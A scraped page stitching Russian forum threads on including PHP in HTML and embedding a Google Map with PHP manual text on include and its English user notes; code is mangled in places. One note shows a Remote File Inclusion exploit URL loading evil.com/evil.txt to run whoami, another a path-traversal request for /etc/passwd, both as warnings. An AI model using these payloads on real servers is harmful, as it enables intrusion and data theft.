Форум
если index.php запускать — то гут, текст Привет, я содержимое из index.php отображается
как и где подправить или в настроить в сервере, чтобы и при запуске index.html было тоже самое?
выдержка из кода index.html:
SFproG Сообщения: 6 Зарегистрирован: 24 июн 2016, 07:11 Откуда: Тюмень
Re: Подключение php файла в html
По идее не получится.
«include_once» — это php функция и должна находится в php файле.
SagePointer Сообщения: 341 Зарегистрирован: 27 ноя 2020, 20:52
Re: Подключение php файла в html
Ципихович Эндрю писал(а): ↑ 12 фев 2021, 15:31 include_once(‘/index.php’);
Ципихович Эндрю Сообщения: 18 Зарегистрирован: 12 фев 2021, 15:25
Re: Подключение php файла в html
SFproG писал(а): ↑ 12 фев 2021, 16:06 По идее не получится.
«include_once» — это php функция и должна находится в php файле.
там же сказано:
Теперь, если вы откроете главную страницу, то там должна быть отображена наша запись:
ПРОВЕРКА PHP ЗАПРОСА
и это будет свидетельствовать о том, что запросы php у вас обрабатываются без проблем.
Если запись не отобразилась, то данный код для .htaccess вам не подходит и вам нужно обратиться в тех. поддержку своего Хостинга, чтобы они предоставили код для файла .htaccess для вывода php типа include на html страницах ( они обязательно помогут и бояться здесь нечего ).
вот я сюда и обращаюсь))
Как подключить php к html?
Привет. Как подключить php файл к index или код php в html вставить если так можно?
Использую vs code, в коде есть форма обратной связи, но как подключить php не понимаю.
Пробывал просто вставить код в html но не работает. Тем более не знаю как компилировать php, чтобы протестировать любой код на php вообще.
По возможности детально обьясните
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
Ответы с готовыми решениями:

Как к нескольким файлам html подключить текст из другого html через php?
Ребят, расскажите пожалуйста как к нескольким файлам html через php подключить текст из другого.
Как правильно подключить html-файл в php
Доброе время суток, форумчане. Прошу помочь, не могу найти как правильно подключить html-файл.
Html и PHP. Не пойму как считать данные с html форм в PHP.
Прошу не ругаться. Но что то я не пойму. Ну например в PHP указывают файл: <?php $file =.
1931 / 1522 / 703
Регистрация: 17.11.2012
Сообщений: 6,585
Сообщение от Eg0ra1 
чтобы протестировать любой код на php вообще.
нужен локальный сервер.
к примеру openserver
Добавлено через 2 минуты
Сообщение от Eg0ra1 
Пробывал просто вставить код в html но не работает.
файл, должен быть с расширением .php
или прописать в htaccess обработку php в html файлах
Регистрация: 07.10.2019
Сообщений: 78
Cкачал openserver, теперь у мене к form action=»mail.php». Как подключить?
Сообщение от fanatikus 
или прописать в htaccess обработку php в html файлах
Можно подробнее об этом?
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
Помогаю со студенческими работами здесь

Не могу подключить фаил php к html
Толи путь не правильно прописываю (пробовал по разному), то ли что. Cоздал htaccess и вписал.
Php, html, template. Как подключить шаблон?!
Доброго времени суток, у меня есть "сайт" — несколько php — файлов, как мне подключить шаблон.
Как подключить отдельный php документ к html документу? И для чего нужен .htaccess?
Как подключить отдельный php документ к html документу? И для чего нужен .htaccess?
Как подключить часть html к другому html файлу?
Всем привет! В php есть удобная функция include которая позволяет подключить php файл к основному.
как подключить js к html?
Как подключить js вот здесь: http://codepen.io/hudsonmarinho/pen/FHGeK
Как, использующие php, сайты имеют расширение страниц html, но не php?
Сабж. Собственно говоря, сайты наверняка построены с использованием PHP, но при этом страница может.
Содержание file.HTML
И в результате в брайзере выведется
Вот что находится в РНР файле.
Я содержание HTML файла!
Опять РНР фаил.
Примерно так если в коротко и чтоб понятно.
Ну или вместо инклуда используй include_once»путь/имя.расширение»;
автор: ZКатя (01.08.2014 в 21:02) письмо автору
что-то не получается. это первый мой сайт, видимо я не так все делаю((
автор: berson (01.08.2014 в 21:16) письмо автору
Только что все перепроверил на денвере и все работает ну прям сто пудов и не одной ошибки все как надо. Попробуй не чего от себя не писать (кроме правильных имен файлов) а так пере копировать Ctr+C Ctr+V в два файла.
автор: ZКатя (01.08.2014 в 23:34) письмо автору
Вот это я вставила в файл index.php в нужное место в шаблоне
| > echo «Вот что находится в РНР файле.» ; > include ‘googlemap.html’ ; > echo «Опять РНР файл.» ; > ?> |
А вот в это я обернула мой html файл с картой google
автор: lightning.say (02.08.2014 в 05:02) письмо автору
похоже что-то с шаблоном покажите файл шаблона с вставляемым кодом.
автор: ZКатя (04.08.2014 в 15:52) письмо автору
автор: ZКатя (04.08.2014 в 15:53) письмо автору
автор: lightning.say (04.08.2014 в 16:43) письмо автору
зачем вы в каждой строчке вставляемого кода пишете знак «>» ?
он не нужен.
автор: ZКатя (04.08.2014 в 17:10) письмо автору
Не знаю) это уже с шаблоном было)
автор: confirm (04.08.2014 в 17:39) письмо автору
Ваш шаблон, это полная страница, а вы ее пытаетесь втулить не к месту. А если к примеру вставить ее в iframe, то будет работать (только мусор выкинуть нужно).
А вообще же, нужно выбросить из этого шаблона все лишнее, то что в head вставить в секцию head index.php, а тег карты в нужное ее место.
автор: lightning.say (04.08.2014 в 17:50) письмо автору
>Ваш шаблон, это полная страница
тут вы под шаблоном говорите об html-файле я правильно понимаю? изначально шаблоном она называет php файл в который вставляется html, это я для уточнения спрашиваю, чтобы не было путаницы.
автор: confirm (04.08.2014 в 18:34) письмо автору
Посмотрите что за шаблон, что из себя представляет, и нужно ли его подключать, а не проще прописать нужное в индексном файле?
Я вообще сомневаюсь, что это некий шаблон, скорее это взятый пример подключения на страницу карты, который «с чистой совестью» пытаются использовать как есть.
автор: ZКатя (05.08.2014 в 02:00) письмо автору
Прописывать пробовала, ничего не получилось. Я просто не знаю даже что делаю) но все перепробовала))
автор: moonfox (05.08.2014 в 03:46) письмо автору
вставка html напрямую тоже не работает?)
автор: confirm (05.08.2014 в 06:27) письмо автору
PS. А вот как надо вставить то, что в примере:
marker = new google.maps.Marker( <
position: new google.maps.LatLng(55.86344,37.701832),
icon: <
path: google.maps.SymbolPath.CIRCLE,
scale: 10
>,
draggable: true,
map: map
>);
google.maps.event.addDomListener(window, ‘load’, initialize);
автор: ZКатя (05.08.2014 в 12:40) письмо автору
не знаю. опять не получилось))
автор: confirm (05.08.2014 в 12:49) письмо автору
Ну так надо внимательнее читать. Вот что вы делаете опять:
| displayBodyTag (); ?> > |
А где инициализация, о которой я писал?
| displayBodyTag () ?> > |
И еще, ваш код с пустыми «дырами» так будет и выплюнут на страницу, а нужны ли на ней эти никчемные \r\n, \t . ?
автор: ZКатя (05.08.2014 в 13:04) письмо автору
пустые дыры надо потом убрать. сейчас то что я не так сделала? опять нет карты((
автор: confirm (05.08.2014 в 13:23) письмо автору
HTML-код у вас, это нечто. С чего это закрывающий тег DIV следует после закрывающего тега BODY.
Не работает сейчас, значит вы не все сделали что требовалось.
Вот тоже самое, просто без вашего кода:
marker = new google.maps.Marker( <
position: new google.maps.LatLng(55.86344,37.701832),
icon: <
path: google.maps.SymbolPath.CIRCLE,
scale: 10
>,
draggable: true,
map: map
>);
google.maps.event.addDomListener(window, ‘load’, initialize);
Сохраните это как html файл и запустите. Есть карта?
автор: ZКатя (05.08.2014 в 13:42) письмо автору
этот файл открывается отдельно
автор: confirm (05.08.2014 в 13:46) письмо автору
автор: ZКатя (05.08.2014 в 13:49) письмо автору
автор: confirm (05.08.2014 в 13:59) письмо автору
Ну так проблема вставить этот код в ваш так, как я показывал? Стиль объекта map_canvas, его высоту 100% вы указали в стилях? Выводя свой код вы проверяете его на ошибки? Ведь у вас html-результат содержит непростительные ошибки.
Вот тоже самое со вставкой РНР и разбивкой на две колонки:
marker = new google.maps.Marker( <
position: new google.maps.LatLng(55.86344,37.701832),
icon: <
path: google.maps.SymbolPath.CIRCLE,
scale: 10
>,
draggable: true,
map: map
>);
google.maps.event.addDomListener(window, ‘load’, initialize);
//Associate the styled map with the MapTypeId and set it to display.
map.mapTypes.set(‘map_style’, styledMap);
map.setMapTypeId(‘map_style’);
>
Map
$s = ‘
Google Maps is a desktop and mobile web mapping service application and technology provided by Google, offering satellite imagery,
street maps, and Street View perspectives, as well as functions such as a route planner for traveling by foot, car, bicycle (beta test),
or with public transportation. Also supported are maps embedded on third-party websites via the Google Maps API,[1] and a locator for
urban businesses and other organizations in numerous countries around the world. Google Maps satellite images are not updated in real
time; however, Google adds data to their Primary Database on a regular basis, and most of the images are no more than 3 years old.
The opt-in redesigned version of the desktop application has been available since 2013, alongside the «classic» (pre-2013) version.
The redesigned version was met by user criticism regarding hiding some common functions, removing a scale bar, and lack of other features
that include My Places and sharable customized links to parametrized split Street View and Map views.
Google Maps uses a close variant of the Mercator projection, and therefore cannot accurately show areas around the poles. A related
product is Google Earth, a stand-alone program which offers more globe-viewing features, including showing polar areas.
Google Maps for mobile is the world\’s most popular app for smartphones, with over 54% of global smartphone owners using it at least
once during the month of August 2013.
‘ ;
А если вставлять ваш РНР-код, но и следя за html-структурой, думаете что откажется работать? Ну проверьте еще раз что вы делаете, явно же либо вы не все прописали, либо допускаете ошибки в структуре.
автор: ZКатя (11.08.2014 в 10:20) письмо автору
html код у меня не может содержать ошибок. я его взяла с developers.google.com. в index php тоже ошибок нет никак. это шаблон rockettheme, своего я ничего не придумывала
автор: confirm (11.08.2014 в 12:49) письмо автору
Вот «хвост» вашего индексного файла:
Это по вашему без ошибок? Я не проверяю весь ваш файл, я его только мелком гляжу, выискивая то, что касается вставке.
Вы могли взять чей-то шаблон его, и возможно без ошибок, но допускаете при выводе, а возможно и сам шаблон кривой.
автор: ZКатя (12.08.2014 в 14:06) письмо автору
странно. вроде с официального сайта скачала. а чем опасны эти ошибки?)
автор: confirm (12.08.2014 в 14:27) письмо автору
Опасности они не представляют, а вот попортить крови вполне могут. Некорректные вложения тегов могут быть причиной неверного отображения элементов на странице или даже их отсутствия. Это может зависеть не только от самих некорректных html-элементов, но так же их стилей.
Кроме этого, некорректная верстка может служить причиной некорректной работы клиентских скриптов.
Предупреждение безопасности
Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно должно производить корректный скрипт PHP, потому что он будет затем обработан уже на локальном сервере. Если файл с удалённого сервера должен быть обработан и только отображён его результат, гораздо эффективно воспользоваться функцией readfile() В противном случае следует соблюдать особую осторожность, чтобы обезопасить удалённый скрипт для получения корректного и желаемого кода.
Смотрите также раздел Удалённые файлы, функции fopen() и file() для дополнительной информации.
Обработка возвращаемых значений: оператор include возвращает значение FALSE в случае возникновения ошибки и выдаёт предупреждение. Успешные включения, пока это не переопределено во включаемом файле, возвращают значение 1 . Возможно выполнить выражение return внутри включаемого файла, чтобы завершить процесс выполнения в этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть значение из включаемых файлов. Вы можете получить значение включения, как если бы вы вызвали обычную функцию. Хотя это невозможно при включении удалённого файла, только если вывод удалённого файла не содержит корректные теги начала и конца PHP кода (так же, как и локальный файл). Вы можете определить необходимые переменные внутри этих тегов и они будут представлены в зависимости от того, какой файл был выключен.
Так как include — это специальная языковая конструкция, круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении возвращаемого значения.
Пример #4 Сравнение возвращаемого значения при include
// не сработает, интерпретируется как include((‘vars.php’) == TRUE), то есть include(‘1’)
if (include( ‘vars.php’ ) == TRUE ) echo ‘OK’ ;
>
?php
// сработает
if ((include ‘vars.php’ ) == TRUE ) echo ‘OK’ ;
>
?>
Пример #5 Выражения include и return
$foo = include ‘return.php’ ;
echo $foo ; // выведет ‘PHP’
$bar = include ‘noreturn.php’ ;
echo $bar ; // выведет 1
$bar имеет значение 1 , т.к. включение файла произошло успешно. Заметьте разницу между примерами сверху. Первый использует return внутри включаемого файла, тогда как второй не использует. Если файл не может быть включён, возвращается false и возникает E_WARNING .
Если во включаемом файле определены функции, они могут быть использованы в главном файле вне зависимости от того, были ли они объявлены до return или после. Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции уже были определены. Рекомендуется использовать include_once вместо того, чтобы проверять был ли файл уже включён.
Другой путь «включить» PHP-файл в переменную — это захватить вывод с помощью функций контроля вывода вместе с include . Например:
Пример #6 Использование буферизации вывода для включения файла PHP в строку
$string = get_include_contents ( ‘somefile.php’ );
?php
function get_include_contents ( $filename ) if ( is_file ( $filename )) ob_start ();
include $filename ;
return ob_get_clean ();
>
return false ;
>
Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы auto_prepend_file и auto_append_file в php.ini .
Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.
User Contributed Notes 22 notes
15 years ago
This might be useful:
include $_SERVER [ ‘DOCUMENT_ROOT’ ]. «/lib/sample.lib.php» ;
?>
So you can move script anywhere in web-project tree without changes.
8 years ago
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
# index.php
define ( ‘what’ , ‘ever’ );
include ‘includeFile.php’ ;
// check if what is defined and die if not
?>
The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at «/usr/share/nginx/html», keep the include files in «/usr/share/nginx/src».
# index.php (in document root (/usr/share/nginx/html))
include __DIR__ . ‘/../src/includeFile.php’ ;
?>
Since user can’t type ‘your.site/../src/includeFile.php’, your includeFile(s) would not be accessible to the user directly.
7 years ago
Before using php’s include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
// Bad Code
$path = $_GET [ ‘path’ ];
include $path . ‘example-config-file.php’ ;
?>
As a programmer, you might expect the user to browse to the path that you specify.
However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
evil.txt
It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
Please use proper input validation if you use variables in an include statement.
11 years ago
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
8 years ago
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include «file») instead of ( include «./file») . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
—-script.php
—-test
—-dir1_test
-dir2
—-test
—-dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
echo ‘Directory of the current calling script: ‘ . __DIR__ ;
echo ‘
‘ ;
echo ‘Current working directory: ‘ . getcwd ();
echo ‘
‘ ;
echo ‘including «test» . ‘ ;
echo ‘
‘ ;
include ‘test’ ;
echo ‘
‘ ;
echo ‘Changing current working directory to dir2’ ;
chdir ( ‘../dir2’ );
echo ‘
‘ ;
echo ‘Directory of the current calling script: ‘ . __DIR__ ;
echo ‘
‘ ;
echo ‘Current working directory: ‘ . getcwd ();
echo ‘
‘ ;
echo ‘including «test» . ‘ ;
echo ‘
‘ ;
include ‘test’ ;
echo ‘
‘ ;
echo ‘including «dir2_test» . ‘ ;
echo ‘
‘ ;
include ‘dir2_test’ ;
echo ‘
‘ ;
echo ‘including «dir1_test» . ‘ ;
echo ‘
‘ ;
include ‘dir1_test’ ;
echo ‘
‘ ;
echo ‘including «./dir1_test» . ‘ ;
echo ‘
‘ ;
(@include ‘./dir1_test’ ) or die( ‘couldn\’t include this file ‘ );
?>
The output of executing script.php is :
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including «test» .
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including «test» .
This is test in dir2
including «dir2_test» .
This is dir2_test
including «dir1_test» .
This is dir1_test
including «./dir1_test» .
couldn’t include this file
15 years ago
If you’re doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn’t exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist — e.g. a dev environment has it, but a prod one doesn’t.)
15 years ago
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
—-
define ( ‘MAINDIR’ , dirname ( __FILE__ ) . ‘/’ );
define ( ‘DL_DIR’ , MAINDIR . ‘downloads/’ );
define ( ‘LIB_DIR’ , MAINDIR . ‘lib/’ );
?>
—-
and so on. This way, the files in your framework will only have to issue statements such as this:
require_once( LIB_DIR . ‘excel_functions.php’ );
?>
This also frees you from having to check the include path each time you do an include.
If you’re running scripts from below your main web directory, put a prepend.php file in each subdirectory:
—
include( dirname ( dirname ( __FILE__ )) . ‘/prepend.php’ );
?>
—
This way, the prepend.php at the top always gets executed and you’ll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
5 years ago
Ideally includes should be kept outside of the web root. That’s not often possible though especially when distributing packaged applications where you don’t know the server environment your application will be running in. In those cases I use the following as the first line.
( __FILE__ != $_SERVER[‘SCRIPT_FILENAME’] ) or exit ( ‘No’ );
9 years ago
It’s worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
Example:
$cfg_path
= ‘includes’
. DIRECTORY_SEPARATOR
. ‘config.php’
;
require_once( $cfg_path );
1 year ago
In the Example #2 Including within functions, the last two comments should be reversed I believe.
14 years ago
A word of warning about lazy HTTP includes — they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
12 years ago
Sometimes it will be usefull to include a string as a filename
//get content
$cFile = file_get_contents ( ‘crypted.file’ );
//decrypt the content
$content = decrypte ( $cFile );
//include this
include( «data://text/plain;base64,» . base64_encode ( $content ));
//or
include( «data://text/plain,» . urlencode ( $content ));
?>
13 years ago
Be very careful with including files based on user inputed data. For instance, consider this code sample:
index.php:
$page = $_GET [ ‘page’ ];
if ( file_exists ( ‘pages/’ . $page . ‘.php’ ))
include( ‘pages/’ . $page . ‘.php’ );
>
?>
Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html
file_exists() will return true, your passwd file will be included and since it’s not php code it will be output directly to the browser.
Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.
You absolutely have to sanitize any input string that will be used to access the filesystem, you can’t count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.
14 years ago
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
include ‘/Path/To/File.php’ ;
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we’ll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we’ll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn’t exist in the root path.
I just thought I’d mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
$documentRoot = null ;
if (isset( $_SERVER [ ‘DOCUMENT_ROOT’ ])) $documentRoot = $_SERVER [ ‘DOCUMENT_ROOT’ ];
if ( strstr ( $documentRoot , ‘/’ ) || strstr ( $documentRoot , ‘\\’ )) if ( strstr ( $documentRoot , ‘/’ )) $documentRoot = str_replace ( ‘/’ , DIRECTORY_SEPARATOR , $documentRoot );
>
elseif ( strstr ( $documentRoot , ‘\\’ )) $documentRoot = str_replace ( ‘\\’ , DIRECTORY_SEPARATOR , $documentRoot );
>
>
if ( preg_match ( ‘/[^\\/]\\[^\\/]/’ , $documentRoot )) $documentRoot = preg_replace ( ‘/([^\\/])\\([^\\/])/’ , ‘\\1DIR_SEP\\2’ , $documentRoot );
$documentRoot = str_replace ( ‘DIR_SEP’ , ‘\\\\’ , $documentRoot );
>
>
else /**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
*
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
*
*/
$directories = array(
‘Includes’
);
if ( defined ( ‘__DIR__’ )) $currentDirectory = __DIR__ ;
>
else $currentDirectory = dirname ( __FILE__ );
>
$currentDirectory = rtrim ( $currentDirectory , DIRECTORY_SEPARATOR );
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR ;
foreach ( $directories as $directory ) $currentDirectory = str_replace (
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR ,
DIRECTORY_SEPARATOR ,
$currentDirectory
);
>
$currentDirectory = rtrim ( $currentDirectory , DIRECTORY_SEPARATOR );
>
define ( ‘SERVER_DOC_ROOT’ , $documentRoot );
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
include SERVER_DOC_ROOT . ‘/Path/To/File.php’ ;
?>